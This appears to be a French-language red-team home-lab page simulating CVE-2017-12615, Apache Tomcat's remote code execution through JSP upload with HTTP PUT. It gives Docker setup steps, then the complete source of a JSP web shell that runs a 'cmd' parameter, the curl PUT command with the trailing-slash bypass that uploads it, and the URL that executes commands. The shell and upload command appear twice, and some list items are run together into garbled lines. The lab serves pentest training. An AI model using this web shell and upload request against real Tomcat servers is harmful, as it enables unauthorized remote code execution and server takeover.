
CVE-2017-12615 Tomcat : Exécution de code à distance via l'upload JSP — Home Lab pour le Red Teaming, les tests d'intrusion
Ce lab simule la vulnérabilité CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
Elle est causée par la configuration readonly=false, qui permet de téléverser des fichiers via HTTP PUT, y compris des fichiers .jsp capables d'exécuter des commandes (RCE).
readonly=false.jsp dans le répertoire web ROOTflag_RANDOM.txt à chaque démarrage du conteneur/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
Ouvrir le site :
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
Stocké dans :
/tmp/flag_RANDOM.txt
Ce lab simule CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, où le DefaultServlet d'Apache Tomcat est mal configuré avec :
readonly=false
Cela permet aux attaquants de téléverser des fichiers .jsp via HTTP PUT, permettant ainsi une exécution de code à distance.
readonly=false.jsp arbitraires dans le répertoire web ROOTflag_RANDOM.txt généré automatiquement au démarrage du conteneurcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
À des fins éducatives, de recherche et de tests d'intrusion autorisés uniquement.